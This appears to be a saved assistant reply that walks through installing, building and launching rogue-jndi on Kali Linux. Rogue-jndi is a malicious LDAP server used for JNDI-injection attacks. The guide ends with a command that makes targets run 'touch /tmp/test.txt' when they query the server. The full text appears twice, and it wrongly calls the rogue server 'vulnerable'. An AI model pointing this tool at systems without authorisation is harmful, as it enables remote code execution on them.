Apr 14, 2024, 01:42 PM
Steps to install Rogue-jndi on Kali Linux:
1. **Install Maven**: If Maven is not already installed, you can install it using the following commands:
```
sudo apt-get update
sudo apt-get install maven
```
You'll need to press 'y' to confirm the installation.
2. **Clone the rogue-jndi repository**: Navigate to the Desktop and clone the rogue-jndi repository from GitHub:
```
cd Desktop
git clone https://github.com/veracode-research/rogue-jndi.git
cd rogue-jndi
```
3. **Build the rogue-jndi project**: Inside the `rogue-jndi` folder, run the following command to build the project:
```
mvn package
```
This command will create a `target` folder containing the JAR file (`RogueJndi-1.1.jar`) needed for execution.
4. **Run rogue-jndi**: You can run rogue-jndi and see usage instructions using the following command:
```
java -jar target/RogueJndi-1.1.jar -h
```
5. **Start the vulnerable LDAP server**: To start the LDAP server with specific parameters (such as the command to execute and the hostname), use a command similar to the following:
```
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test.txt" --hostname "172.16.5.2"
```
This command starts the LDAP server and specifies a command to create a text file on the system when an LDAP query is received.
Following these steps should set up and run the rogue-jndi tool on your system. Let me know if you need further assistance!
1. **Install Maven**: If Maven is not already installed, you can install it using the following commands:
```
sudo apt-get update
sudo apt-get install maven
```
You'll need to press 'y' to confirm the installation.
2. **Clone the rogue-jndi repository**: Navigate to the Desktop and clone the rogue-jndi repository from GitHub:
```
cd Desktop
git clone https://github.com/veracode-research/rogue-jndi.git
cd rogue-jndi
```
3. **Build the rogue-jndi project**: Inside the `rogue-jndi` folder, run the following command to build the project:
```
mvn package
```
This command will create a `target` folder containing the JAR file (`RogueJndi-1.1.jar`) needed for execution.
4. **Run rogue-jndi**: You can run rogue-jndi and see usage instructions using the following command:
```
java -jar target/RogueJndi-1.1.jar -h
```
5. **Start the vulnerable LDAP server**: To start the LDAP server with specific parameters (such as the command to execute and the hostname), use a command similar to the following:
```
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test.txt" --hostname "172.16.5.2"
```
This command starts the LDAP server and specifies a command to create a text file on the system when an LDAP query is received.
Following these steps should set up and run the rogue-jndi tool on your system. Let me know if you need further assistance!
